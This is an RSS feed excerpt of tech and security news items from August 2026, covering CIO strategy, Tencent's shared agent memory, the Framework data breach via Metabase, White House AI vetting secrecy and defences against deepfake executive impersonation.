<pubDate>Fri, 07 Aug 2026 23:46:43 +0200</pubDate>
<content:encoded><![CDATA[Nur wenige Stunden nach Bekanntwerden einer Sicherheitslücke informiert der Framework seine Kunden. Metabase veröffentlichte eigene Sicherheitshinweise.]]></content:encoded>
</item>
<item>
<title><![CDATA[From ambition to action: What Canadian tech leaders must get right to see meaningful value from transformation efforts]]></title>
<description><![CDATA[It’s no secret that the CIO role is changing in Canadian enterprises. Driving operational performance and increasing efficiency are, of course, still a big part of the job. But CIOs are now expected to do more than cut costs and keep the lights on. Increasingly, boards of directors expect the CIO...]]></description>
<link>https://tsecurity.de/de/3710141/it-nachrichten/from-ambition-to-action-what-canadian-tech-leaders-must-get-right-to-see-meaningful-value-from-transformation-efforts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710141/it-nachrichten/from-ambition-to-action-what-canadian-tech-leaders-must-get-right-to-see-meaningful-value-from-transformation-efforts/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:39 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s no secret that the CIO role is changing in Canadian enterprises. Driving operational performance and increasing efficiency are, of course, still a big part of the job. But CIOs are now expected to do more than cut costs and keep the lights on. Increasingly, boards of directors expect the CIO to play a key role in creating value and enabling their organizations to outperform their rivals. Recent data backs this up. The overwhelming majority (91%) of Canadian technology leaders believe advanced technology will be the primary driver of competitive advantage over the next three years, according to KPMG’s “<a href="https://kpmg.com/ca/en/insights/2026/02/execution-imperatives-for-canadian-tech-leaders.html" target="_blank" rel="noreferrer noopener">The 8 execution imperatives for Canadian tech leaders</a>,” a white paper based on the firm’s <a href="https://kpmg.com/xx/en/our-insights/ai-and-technology/global-tech-report.html" target="_blank" rel="noreferrer noopener">2026 Global Tech Report</a>.</p>



<p class="wp-block-paragraph">The race to capture value from emerging technologies has intensified, leaving little room for organizations that remain on the sidelines. Yet in Canada, just 27% of organizations consider themselves innovators or early adopters, while 72% are fast or slow followers. Nearly all (85%) believe they’ll need to take more risks with emerging technologies just to remain relevant.</p>



<p class="wp-block-paragraph">The traditional, operational-first mindset among CIOs has become a liability. CIOs are expected to be strategic players, but meeting that expectation requires taking thoughtful, well-considered action across key imperatives.</p>



<h3 class="wp-block-heading"><strong>AI success depends on data</strong></h3>



<p class="wp-block-paragraph"><strong>AI is not the only advanced technology that organizations are working to deploy, but it’s certainly garnering the most attention from C-suite executives, boards of directors, and investors. </strong>To enable AI at scale, the data foundations enterprises have built over the past decade will be necessary, but they are not sufficient on their own. CIOs must make modernizing the state of enterprise data a top priority.</p>



<p class="wp-block-paragraph">In most large organizations, data often remains locked inside legacy systems where the system of record is also the system of engagement, and that significantly limits accessibility for AI workloads. Data should be treated as the strategic asset that it has become. The quality, timeliness, and governance of that data vary widely, and reconciling those inconsistencies is one of the most persistent barriers to enterprise-level deployment.</p>



<p class="wp-block-paragraph">Scaling pilots into enterprise programs also requires closing the gap between AI-native talent, who have the skills to move quickly, and those with deep institutional knowledge, who understand how their organizations work and what they need to achieve. These two groups must work hand in hand. Otherwise, organizations may accelerate toward the wrong goals, which won’t move the business forward.</p>



<p class="wp-block-paragraph">“The barriers to scaling AI aren’t just technical,” says Sanjay Pathak, partner and national leader, technology strategy and digital transformation services, KPMG Canada. “CIOs need to truly and deeply understand the value chain of what their organizations do. Those who get there will have the imagination, the courage, and the foresight to use AI to transform their organizations.”</p>



<h3 class="wp-block-heading"><strong>Communicating ROI requires the right framing</strong></h3>



<p class="wp-block-paragraph">Beyond scaling, simply communicating the value of AI also poses a significant challenge. Just over half (53%) of Canadian organizations surveyed say they struggle to demonstrate or communicate AI value to stakeholders. Part of the problem is that CIOs are making the wrong argument in the wrong room because they’re framing ROI as a technology metric rather than a business outcome.</p>



<p class="wp-block-paragraph">“Any CIO who doesn’t truly understand what their business does is missing a beat around how innovation is going to help the organization achieve ROI,” says Pathak. “Understanding how to deploy AI inside your value chain will give you a head start and a competitive advantage in unlocking real business benefits.”</p>



<p class="wp-block-paragraph">A formal performance measurement framework that tracks customer experience, revenue growth, and employee adoption alongside cost metrics gives CIOs a far more accurate picture of long-term value. Linking funding decisions to those strategic outcomes makes sustained investment easier to justify.</p>



<p class="wp-block-paragraph">There is also a compliance dimension that often goes unacknowledged in these conversations. CIOs who bring business, technology, and compliance leaders together to design innovative processes that are “compliant by design” from the start are protecting future value as much as they are delivering value today.</p>



<p class="wp-block-paragraph">“You need to assemble that multi-dimensional cohort of business, technology, risk, and compliance leaders at the same table, envisioning compliance by design,” says Pathak. “The winners in this space are going to be the ones who really think about business ambition holistically and focus on efficient delivery, operations, and compliance.”</p>



<h3 class="wp-block-heading"><strong>Building disciplined innovation governance</strong></h3>



<p class="wp-block-paragraph">An organization’s approach to governance makes an enormous difference in how quickly and confidently it can deploy and take advantage of advanced technologies. As noted above, almost three-quarters (72%) identify as fast or slow followers, and 85% say they need to move more aggressively to embrace new technologies. Canadian organizations aren’t lacking ambition. What they lack are the conditions required to innovate with confidence: clear ownership, defined risk thresholds, and shared accountability between technology, risk, and business teams.</p>



<p class="wp-block-paragraph">“You can be an innovator, but if your innovation is not directly connected to strategic business ambition and safety guardrails such as risk management, governance, and compliance, you’re creating labware,” says Pathak. “Being an early adopter means you’re comfortable with the technology. To make it truly viable, you must embrace all dimensions of enterprise value.”</p>



<p class="wp-block-paragraph">Strong governance does not slow innovation down but instead provides a structure that builds confidence and resilience at every level of the organization, from the board to project teams. A tiered governance approach that takes risk into account allows organizations to advance low-risk, incremental improvements and high-reward initiatives in parallel.</p>



<h3 class="wp-block-heading"><strong>Expanding partnerships to accelerate innovation</strong></h3>



<p class="wp-block-paragraph">Innovation isn’t a single-player game, and Canadian organizations know it. Ninety-seven percent of respondents say they plan to expand their external ecosystems. To date, a significant portion of those relationships have been transactional and focused on a specific capability or problem. But savvier organizations are moving toward multi-party innovation, where partners pool capabilities to share both risk and reward. This model requires a different kind of commitment because organizations are betting on a partner’s long-term viability, not just their current capability. Together, they must build the integration and governance infrastructure that makes these ecosystems work for all participants.</p>



<p class="wp-block-paragraph">“Moving to multi-party innovation ecosystems is an investment in integration and data,” says Pathak. “If you’re going to look at best of breed and stitch those together, what must be true for that to work is the ability for those different ecosystems to integrate and interoperate. And that creates a much stronger need for safety and governance.”</p>



<p class="wp-block-paragraph">Cybersecurity is another dimension that grows more important with every new partner added to the ecosystem. Security should be proactively built in, not imposed after a breach has already occurred.</p>



<p class="wp-block-paragraph">“The more ecosystem-based partnerships you have, the more opportunity you create along with the threat you have to deal with,” says Pathak. “You expand the attack surface, and you become more of a target, so governance and cybersecurity must be designed in from the start, not bolted on later.”</p>



<p class="wp-block-paragraph">Canadian government incentives, including Scientific Research and Experimental Development (SR&amp;ED) tax credits and AI-focused clusters, offer a way to share some of the cost and risk, particularly during periods of economic uncertainty.</p>



<p class="wp-block-paragraph">By leveraging these funding frameworks alongside robust ecosystem governance, forward-thinking organizations can safely scale their networks to turn shared risks into sustainable competitive advantages.</p>



<h3 class="wp-block-heading">In closing</h3>



<p class="wp-block-paragraph">For organizations navigating this environment, KPMG Canada emphasizes that the most consequential decisions ahead are not purely, or even mostly, technical. They are about how CIOs choose to lead, partner, measure, and govern in a period that rewards both ambition and discipline in equal measure.</p>



<p class="wp-block-paragraph">The data points are clear. CIOs who lead with both strategic ambition and disciplined execution will elevate their organizations above their competitors. By paying attention to the quality of their data, aligning technical priorities with critical business goals, and instituting strong governance and cybersecurity, they will set a higher standard for what Canadian competitiveness looks like in the years ahead.</p>



<p class="wp-block-paragraph">To learn more, read the full whitepaper: <a href="https://kpmg.com/ca/en/insights/2026/02/execution-imperatives-for-canadian-tech-leaders.html" target="_blank" rel="noreferrer noopener">The Top 8 Execution Imperatives for Canadian Tech Leaders</a>.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tencent's Team Memory shares AI agent memory across a team — with no governance yet for when it's wrong]]></title>
<description><![CDATA[A VB Pulse survey this June found that 57% of enterprises had traced a confidently wrong agent answer back to missing or inconsistent context — the latest sign of how central context has become to whether AI agents can be trusted to act on their own.Most of the fixes so far have solved a narrower...]]></description>
<link>https://tsecurity.de/de/3710116/it-nachrichten/tencents-team-memory-shares-ai-agent-memory-across-a-team-with-no-governance-yet-for-when-its-wrong/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710116/it-nachrichten/tencents-team-memory-shares-ai-agent-memory-across-a-team-with-no-governance-yet-for-when-its-wrong/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:33 +0200</pubDate>
<content:encoded><![CDATA[<p>A <a href="https://venturebeat.com/data/57-of-enterprises-have-watched-ai-agents-be-confidently-wrong-the-fix-is-an-agentic-context-layer-but-who-has-one">VB Pulse survey this June found that 57%</a> of enterprises had traced a confidently wrong agent answer back to missing or inconsistent context — the latest sign of how central context has become to whether AI agents can be trusted to act on their own.</p><p>Most of the fixes so far have solved a narrower version of that problem: one agent remembering more, in one session. What's been missing is a way for a team of agents to draw on the same context at once, and that gap is where a newer problem is surfacing. Once an agent's context is shared across a whole team, a wrong fact doesn't cost one person a repeated explanation. It costs the whole team.</p><p>Tencent's answer to that gap is<a href="https://github.com/TencentCloud/TencentDB-Agent-Memory"> Agent Memory</a>, an open-source project the team said grew out of six months spent fixing a narrower problem: agents losing context in long sessions. Part of that system is a persona layer, a stable, distilled picture of who a user is and how they work, built up over many conversations rather than reconstructed each time. On Tencent's own benchmark for whether an agent still applies that picture correctly after extended use, accuracy rose from 48% to 76%, a 59% relative improvement, once the persona layer was added. This week, Tencent extended that project with the beta launch of Team Memory, which opens the same approach up to a whole team instead of one agent. <!-- -->Tencent said <a href="https://x.com/tencentai_news/status/2085272380759581092">the repo hit No. 1 on GitHub's TypeScript trending list</a> this week.</p><p>Agents on a team can now read from a shared memory hub instead of keeping separate, siloed context, governed through an access control layer that determines who can read what.</p><h2>What Team Memory actually does</h2><p>The core idea is a shared hub rather than a shared prompt. Instead of pasting one large context block into every agent's window, Team Memory registers four kinds of reusable assets and equips each agent with only the ones it needs.</p><ul><li><p><b>Chat Memory.</b> Retains preferences, facts, decisions, and interaction history, distilled through four layers, from raw conversation up to a stable long-term persona, so an agent does not need to be reintroduced to a user it has already worked with.</p></li><li><p><b>Skill.</b> Captures procedures pulled from completed work, versioned and reviewed before they are shared rather than dropped into a folder as-is.</p></li><li><p><b>LLM-Wiki.</b> Turns documents and specs into structured, linked pages.</p></li><li><p><b>Code-Graph.</b> Indexes a codebase's symbols, files, and call relationships so an agent can check what a change might affect before making it.</p></li></ul><p>Tencent's<a href="https://github.com/TencentCloud/TencentDB-Agent-Memory"> documentation</a> draws the distinction directly: "RAG answers 'what can be found?' Team Memory also answers 'who can use it, which version is valid, and which Agent should receive it.'"

In practice, that's what Tencent calls an "Agent Loadout": a Scout agent doing research can be equipped with market research and competitive analysis assets, while a Builder agent gets the code graph and product docs it needs instead, rather than every agent getting access to everything.</p><p>Which assets an agent gets equipped with is governed through four visibility tiers:</p><ul><li><p><b>Private.</b> Readable only by the asset's owner.</p></li><li><p><b>Team.</b> Readable by anyone on the team.</p></li><li><p><b>Restricted.</b> Gated by user, role, or agent-level access control.</p></li><li><p><b>Agent.</b> Equipped to one specific agent within a team.</p></li></ul><p>New assets default to private, so sharing has to be a deliberate action rather than something that happens automatically.</p><h2>What happens when a memory is wrong</h2><p>That access model answers a real question, who is allowed to read a given memory asset. It does not answer a second one, which is what happens once a memory asset turns out to be wrong. Tencent's own documentation lays out ownership, versioning, and status tracking for each asset, but nothing in the documentation describes a correction or expiry process for a fact that's already been read and reused by other agents on a team, or a way to resolve it when two agents' memories of the same thing disagree.</p><p>That gap is what practitioners flagged within hours of the launch post.</p><p>"Shared memory makes the write path the interesting problem. Retrieval gets most of the attention, but a wrong fact written once now propagates to every teammate's agent instead of just yours. Curious how the governance layer handles correction and expiry,"<a href="https://x.com/BlakeMurphy/status/2085385624115138828"> Blake Murphy</a> wrote on X.</p><p>The concern wasn't only about fixing a bad fact after the fact. It was about the decision to leave something out of the record in the first place. "the governed part is the hard part. once teammates' agents can read each other's context, someone has to decide what never gets written down,"<a href="https://x.com/_virgil19/status/2085403856624922852"> Virgil Maro</a> wrote on X.</p><p>Others pushed further into what happens once two agents' memories actively contradict each other, not just go stale.</p><p>"The Code-Graph plus LLM-Wiki split is the right call. The part I'd want to see benchmarked: in shared mode, whose memory wins when two teammates' agents have written contradicting facts about the same module? Single-agent memory drifts slowly. Shared memory drifts fast, because one stale write propagates to people who never saw the session that produced it,"<a href="https://x.com/wgi_dev/status/2085382411613872341"> Austin Green</a> wrote on X.</p><p>The reaction wasn't uniformly critical. "Interesting shift: making memory a shared service turns agents into a real team rather than isolated bots. Governance will be the trickiest part, especially when facts conflict,"<a href="https://x.com/MoezZhioua/status/2085400880208126350"> Moez Zhioua</a> wrote on X.</p><p>None of these are edge cases specific to Tencent's implementation. A March 2026 paper on production multi-agent memory architecture,<a href="https://arxiv.org/html/2603.17787"> "Governed Memory: A Production Architecture for Multi-Agent Workflows,"</a> published independently of any single vendor, identifies governance fragmentation and silent quality degradation without feedback loops as structural risks in shared multi-agent memory generally. The pattern the paper describes matches what the commenters above pointed at directly: a wrong fact in a single-agent memory system costs one user a repeated correction, while the same wrong fact in a shared, team-wide memory system propagates to every agent that inherited it before anyone catches it.</p><h2>How Team Memory compares</h2><p>AI agent memory work in 2026 has mostly focused on a single agent remembering more, in one session, about one user:<a href="https://venturebeat.com/ai/enhancing-ai-agents-with-long-term-memory-insights-into-langmem-sdk-memobase-and-the-a-mem-framework"> LangChain's LangMem SDK</a>,<a href="https://venturebeat.com/orchestration/google-pm-open-sources-always-on-memory-agent-ditching-vector-databases-for"> Google's Always On Memory Agent</a>, and Anthropic's work inside the<a href="https://venturebeat.com/ai/anthropic-says-it-solved-the-long-running-ai-agent-problem-with-a-new-multi"> Claude Agent SDK</a> all work this way. A different line of work has focused on giving agents access to a shared model of business data. VB's own June survey found only 25% of enterprises had that kind of governed context layer in production, while vendors including<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> AWS</a>, <a href="https://venturebeat.com/data/ai-agents-need-context-everywhere-they-run-even-where-the-cloud-cant-follow"> Couchbase, Oracle, Redis, and Pinecone</a> have all shipped versions of it this year.</p><p>Team Memory's closest existing comparison is likely Asana, which built<a href="https://venturebeat.com/orchestration/shared-memory-is-the-missing-layer-in-ai-orchestration"> shared memory across a company's AI teammates</a> so an agent doesn't need to be re-briefed on context another agent already has. Asana's CPO described the same tradeoff Tencent's practitioners are now raising,<a href="https://venturebeat.com/orchestration/asanas-ai-agents-share-memory-across-your-company-but-not-your-secrets"> an access control system built specifically to stop one agent's memory from leaking into a project another agent isn't cleared to see</a>. Tencent's version is open-source and portable across frameworks rather than scoped to one platform, but it's answering a question Asana's team already ran into while building a closed one.</p><p>For teams evaluating this category, the upside is real: agents stop relearning what the team already knows. The tradeoff is just as real: one bad write is no longer contained to one agent — it's inherited by every agent that reads from the shared pool, with no correction or expiry process yet in place to catch it.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Framework customer information was accessed as part of a data breach]]></title>
<description><![CDATA[Framework's customer database was accessed, but no payment info was released.]]></description>
<link>https://tsecurity.de/de/3710002/it-nachrichten/framework-customer-information-was-accessed-as-part-of-a-data-breach/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710002/it-nachrichten/framework-customer-information-was-accessed-as-part-of-a-data-breach/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:17 +0200</pubDate>
<content:encoded><![CDATA[Framework's customer database was accessed, but no payment info was released.]]></content:encoded>
</item>
<item>
<title><![CDATA[Computer maker Framework notifies ‘all customers’ of a data breach]]></title>
<description><![CDATA[Framework told "all" of its customers that hackers accessed their names, email addresses, phone numbers, and physical addresses in a data breach.]]></description>
<link>https://tsecurity.de/de/3709984/it-nachrichten/computer-maker-framework-notifies-all-customers-of-a-data-breach/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709984/it-nachrichten/computer-maker-framework-notifies-all-customers-of-a-data-breach/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:16 +0200</pubDate>
<content:encoded><![CDATA[Framework told "all" of its customers that hackers accessed their names, email addresses, phone numbers, and physical addresses in a data breach.]]></content:encoded>
</item>
<item>
<title><![CDATA[The White House’s plan to vet potentially dangerous AI is cloaked in secrecy]]></title>
<description><![CDATA[A Trump administration framework on AI testing leaves a lack of transparency – and plenty of open questionsAfter months of talking with tech industry leaders, the Trump administration finalized a framework this week for how it will test new artificial intelligence models for safety and cybersecur...]]></description>
<link>https://tsecurity.de/de/3709967/it-nachrichten/the-white-houses-plan-to-vet-potentially-dangerous-ai-is-cloaked-in-secrecy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709967/it-nachrichten/the-white-houses-plan-to-vet-potentially-dangerous-ai-is-cloaked-in-secrecy/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:14 +0200</pubDate>
<content:encoded><![CDATA[<p>A Trump administration framework on AI testing leaves a lack of transparency – and plenty of open questions</p><p>After months of talking with tech industry leaders, the Trump administration finalized a framework this week for how it will test new artificial intelligence models for safety and cybersecurity risks. So far, the White House is keeping details of the framework private, in a blow to transparency and potential boon for secretive AI companies.</p><p>On Tuesday, staff from OpenAI, Anthropic, Meta, Google, Nvidia and Microsoft <a href="https://www.reuters.com/world/us-finalizes-voluntary-ai-safety-tests-white-house-official-says-2026-08-03/">attended a private meeting</a> with White House officials to review the AI framework. Multiple outlets <a href="https://www.nytimes.com/2026/08/04/technology/white-house-ai-framework.html">have since</a> <a href="https://www.axios.com/2026/08/04/white-house-ai-framework-under-wraps">reported</a> that although the volunteer vetting process for new AI models has been settled, the White House does not plan to release its policy publicly and will only share testing criteria with a select few tech companies.</p> <a href="https://www.theguardian.com/technology/2026/aug/07/white-house-ai">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Datenschutzvorfall bei Laptop-Hersteller Framework (August 2026)]]></title>
<description><![CDATA[Unschöne Geschichte, die Kunden des Notebook-Herstellers Framework getroffen hat. Dem Anbieter wurde seine Cloud-Instanz mit einer Datenbank, die für Business-Intelligence verwendet wurde, beim Anbieter Metabase gehackt. Infolge dessen gelang es einem Angreifer Kundendaten abzuziehen. Framework h...]]></description>
<link>https://tsecurity.de/de/3709844/it-nachrichten/datenschutzvorfall-bei-laptop-hersteller-framework-august-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709844/it-nachrichten/datenschutzvorfall-bei-laptop-hersteller-framework-august-2026/</guid>
<pubDate>Fri, 07 Aug 2026 23:45:31 +0200</pubDate>
<content:encoded><![CDATA[Unschöne Geschichte, die Kunden des Notebook-Herstellers Framework getroffen hat. Dem Anbieter wurde seine Cloud-Instanz mit einer Datenbank, die für Business-Intelligence verwendet wurde, beim Anbieter Metabase gehackt. Infolge dessen gelang es einem Angreifer Kundendaten abzuziehen. Framework hat betroffene Kunden informiert, wie … <a href="https://borncity.com/blog/2026/08/07/datenschutzvorfall-bei-laptop-hersteller-framework-august-2026/">Weiterlesen <span class="meta-nav">→</span></a>
<p><a href="https://borncity.com/blog/2026/08/07/datenschutzvorfall-bei-laptop-hersteller-framework-august-2026/" rel="nofollow">Quelle</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Datenleck bei Framework: Kundendaten über Metabase abgeflossen]]></title>
<description><![CDATA[Framework, Hersteller modularer und reparierbarer Notebooks, informiert Kunden über ein Datenleck. Angreifer konnten über die von Framework eingesetzte Analyseplattform Metabase Cloud auf persönliche Kundendaten zugreifen. Metabase...Zum Beitrag: Datenleck bei Framework: Kundendaten über Metabase...]]></description>
<link>https://tsecurity.de/de/3709834/it-nachrichten/datenleck-bei-framework-kundendaten-ueber-metabase-abgeflossen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709834/it-nachrichten/datenleck-bei-framework-kundendaten-ueber-metabase-abgeflossen/</guid>
<pubDate>Fri, 07 Aug 2026 23:45:28 +0200</pubDate>
<content:encoded><![CDATA[<div><img width="720" height="540" src="https://stadt-bremerhaven.de/wp-content/uploads/2025/10/Framework-Laptop-13_8468-720x540.jpg" class="attachment-medium size-medium wp-post-image" alt="Datenleck bei Framework: Kundendaten über Metabase abgeflossen" decoding="async" loading="lazy" srcset="https://stadt-bremerhaven.de/wp-content/uploads/2025/10/Framework-Laptop-13_8468-720x540.jpg 720w, https://stadt-bremerhaven.de/wp-content/uploads/2025/10/Framework-Laptop-13_8468-1067x800.jpg 1067w, https://stadt-bremerhaven.de/wp-content/uploads/2025/10/Framework-Laptop-13_8468-768x576.jpg 768w, https://stadt-bremerhaven.de/wp-content/uploads/2025/10/Framework-Laptop-13_8468.jpg 1200w" sizes="auto, (max-width: 720px) 100vw, 720px"></div>Framework, Hersteller modularer und reparierbarer Notebooks, informiert Kunden über ein Datenleck. Angreifer konnten über die von Framework eingesetzte Analyseplattform Metabase Cloud auf persönliche Kundendaten zugreifen. Metabase...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/datenleck-bei-framework-kundendaten-ueber-metabase-abgeflossen/">Datenleck bei Framework: Kundendaten über Metabase abgeflossen</a>
</p><p>
Wo du uns folgen kannst:
<a href="http://www.facebook.com/CaschysBlog">Facebook</a>, <a href="https://www.reddit.com/r/CaschysBlog/">Reddit</a>, <a href="https://news.google.com/publications/CAAqMQgKIitDQklTR2dnTWFoWUtGSE4wWVdSMExXSnlaVzFsY21oaGRtVnVMbVJsS0FBUAE?ceid=DE:de&amp;oc=3">Google News</a>, <a href="https://x.com/CaschysBlog">X</a>, <a href="https://www.threads.com/@caschysblog">Threads</a>
<br>
</p><div>
    <strong>Auf dem Laufenden bleiben?</strong>
    <br>
    <a href="https://www.google.com/preferences/source?q=stadt-bremerhaven.de">Fügt uns doch bei Google als bevorzugte Quelle hinzu!</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[KI-Update Deep-Dive: Wie Schulen KI-Kompetenz systematisch vermitteln können]]></title>
<description><![CDATA[Das AI Literacy Framework gibt Lehrkräften erstmals konkrete Lernszenarien zur KI-Vermittlung an die Hand – von der Grundschule bis zur Weiterbildung.]]></description>
<link>https://tsecurity.de/de/3709731/it-nachrichten/ki-update-deep-dive-wie-schulen-ki-kompetenz-systematisch-vermitteln-koennen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709731/it-nachrichten/ki-update-deep-dive-wie-schulen-ki-kompetenz-systematisch-vermitteln-koennen/</guid>
<pubDate>Fri, 07 Aug 2026 23:45:13 +0200</pubDate>
<content:encoded><![CDATA[Das AI Literacy Framework gibt Lehrkräften erstmals konkrete Lernszenarien zur KI-Vermittlung an die Hand – von der Grundschule bis zur Weiterbildung.]]></content:encoded>
</item>
<item>
<title><![CDATA[Durch Metabase-0day: Datenleck bei Laptophersteller Framework]]></title>
<description><![CDATA[Nur wenige Stunden nach Bekanntwerden einer Sicherheitslücke informiert der Framework seine Kunden. Metabase veröffentlichte eigene Sicherheitshinweise.]]></description>
<link>https://tsecurity.de/de/3709744/it-nachrichten/durch-metabase-0day-datenleck-bei-laptophersteller-framework/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709744/it-nachrichten/durch-metabase-0day-datenleck-bei-laptophersteller-framework/</guid>
<pubDate>Fri, 07 Aug 2026 23:45:13 +0200</pubDate>
<content:encoded><![CDATA[Nur wenige Stunden nach Bekanntwerden einer Sicherheitslücke informiert der Framework seine Kunden. Metabase veröffentlichte eigene Sicherheitshinweise.]]></content:encoded>
</item>
<item>
<title><![CDATA[Deepfakes are targeting your executives. Here’s what actually works]]></title>
<description><![CDATA[Two years ago, I sat across from a chief financial officer who had just spent forty minutes on a video call authorizing what he believed was a legitimate acquisition payment. The call included his CEO and two board members, all speaking in familiar voices, all making the kind of small unscripted ...]]></description>
<link>https://tsecurity.de/de/3709708/it-security-nachrichten/deepfakes-are-targeting-your-executives-heres-what-actually-works/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709708/it-security-nachrichten/deepfakes-are-targeting-your-executives-heres-what-actually-works/</guid>
<pubDate>Fri, 07 Aug 2026 11:27:02 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Two years ago, I sat across from a chief financial officer who had just spent forty minutes on a video call authorizing what he believed was a legitimate acquisition payment. The call included his CEO and two board members, all speaking in familiar voices, all making the kind of small unscripted comments that make a meeting feel real. None of them were real. The audio had been cloned from earnings call recordings, and the video was built from conference footage pulled off YouTube.</p>



<p class="wp-block-paragraph">What gave it away wasn’t a glitch or a blurred hand. It was a pause. The CFO asked about a side conversation from the previous week that only the real CEO would have known, and the voice on the other end hesitated half a second too long before answering. That hesitation stopped a seven-figure transfer.</p>



<p class="wp-block-paragraph">It also taught me something I have carried into every engagement since. Executive impersonation has moved from a theoretical AI risk category into an active enterprise security problem, and detection and response capability lags materially behind attacker capability.</p>



<h2 class="wp-block-heading"><a></a>The detection tooling gap</h2>



<p class="wp-block-paragraph">When clients ask me what to buy first, I tell them to slow down. The tooling landscape for synthetic media is real, but it is not mature, and treating it as solved creates false confidence at exactly the moment confidence gets tested.</p>



<p class="wp-block-paragraph">Audio and video forensics tools scan a file after the fact for artifacts synthetic generation tends to leave behind. They are genuinely useful in a post-incident review, where there is time to run deeper analysis. They are far less useful in the middle of a live call, where a decision has to get made in seconds rather than hours.</p>



<p class="wp-block-paragraph">Liveness detection tries to solve that timing problem by checking for signs of life during the interaction itself, rather than analyzing a file afterward. The trouble is that these systems were mostly built for identity verification at onboarding, a single controlled check at a fixed point in time. Retrofitting them into an unplanned executive call is still mostly aspirational, and most vendors will tell you the same thing privately even while marketing otherwise.</p>



<p class="wp-block-paragraph">The MITRE ATLAS knowledge base, which catalogs real-world adversarial attacks against AI systems, now documents deepfake-based identity verification bypass as an<a href="https://atlas.mitre.org/studies/AML.CS0034"> established attack pattern</a> rather than an edge case. That matters for CISOs because it confirms this is not a hypothetical gap security vendors invented to sell tools. It is a documented technique with case studies attached.</p>



<p class="wp-block-paragraph">What senior executives specifically need, and what the market still doesn’t reliably offer, is verification that works in the moment a request is made rather than after the fact. Until that exists at scale, the tooling has to sit inside a broader protocol rather than stand in for one.</p>



<h2 class="wp-block-heading"><a></a>A framework enterprise teams can deploy now</h2>



<p class="wp-block-paragraph">Tooling alone will not close this gap, so the operational framework matters more than any single product. Here is what I put in place with clients, organized around five actions.</p>



<ol class="wp-block-list">
<li><strong>Verify. </strong>Multi-factor human verification for executive-level communications means more than a callback. It means a pre-agreed authentication phrase for the small circle of people who can approve high-sensitivity or high-value actions, changed on a schedule and never guessable from a public LinkedIn bio. It means out-of-band confirmation as a hard requirement, not a courtesy, for any request involving money, credentials or a change to standing instructions. I watched this stop an attack outright. A caller using a cloned voice of an executive asked a colleague for help with a confidential wire. The colleague asked for the agreed phrase, and the line went dead within seconds.</li>



<li><strong>Detect. </strong>This is not about buying a detection tool. It is about continuously monitoring the executive’s digital identity surface before an attacker even builds the deepfake. That includes tracking domain squatting on the executive’s name, watching for social profile impersonation, and knowing where voice samples are already sitting in public conference recordings and podcast appearances that an attacker could pull from tomorrow. Most security teams monitor the network. Very few monitor the raw material an attacker needs to build a convincing fake in the first place.</li>



<li><strong>Respond. </strong>When an impersonation attempt is identified or succeeds, the response playbook needs to specify who freezes a transaction, who pulls the call recording before it disappears, and who brings in forensics immediately so there is a documented basis for every decision that follows. It needs a defined escalation path that does not depend on the target believing something is wrong, because most executives will not report a strange call themselves. Build the reporting habit around the transaction, not the suspicion.</li>



<li><strong>Train. </strong>Executive protection training has to include impersonation awareness now, and not just for the executive. Assistants, chiefs of staff and family office contacts are frequently the actual point of contact an attacker targets, since they often have more standing authority to approve something quickly than the executive expects them to use. This has to be a working habit, not a slide deck people sit through once a year.</li>



<li><strong>Integrate. </strong>Executive impersonation cannot sit inside a single team’s silo. It needs coordination between security operations, communications, legal and executive protection, because a voice clone built from a podcast appearance does not touch a single system any one of those functions monitors on its own.<a href="https://www.csoonline.com/article/3982379/deepfake-attacks-are-inevitable-cisos-cant-prepare-soon-enough.html"> A CSO Online feature on deepfake defense</a> documented an almost identical wire fraud case and reached a similar conclusion that the organizations recovering fastest were the ones that had already rehearsed the coordination across teams before an incident forced it.</li>
</ol>



<h2 class="wp-block-heading"><a></a>Where the market hasn’t caught up</h2>



<p class="wp-block-paragraph">Even programs built around all five of those actions still run into gaps that no enterprise has fully closed.</p>



<p class="wp-block-paragraph">The first is the personal exposure gap. Most protocols assume the target is inside a corporate communication channel. Attackers are increasingly working the other direction, reaching family members or personal devices where none of the corporate verification steps apply at all.</p>



<p class="wp-block-paragraph">The second is the public-facing gap. Livestreams of major corporate events have been hijacked by deepfakes of the company’s own executives, often promoting cryptocurrency scams, with fake feeds sometimes drawing sizeable audiences before takedown. That is not an internal fraud scenario a SOC playbook was built for. It is a brand and platform-level impersonation that needed coordination with a video platform in real time, and almost nobody has that relationship pre-built. The security team needing to reach a platform’s off-hours trust and safety escalation path in the middle of a live event is functionally starting from zero every time, and the incident is often over by the time the right internal owner on the platform side is even identified.</p>



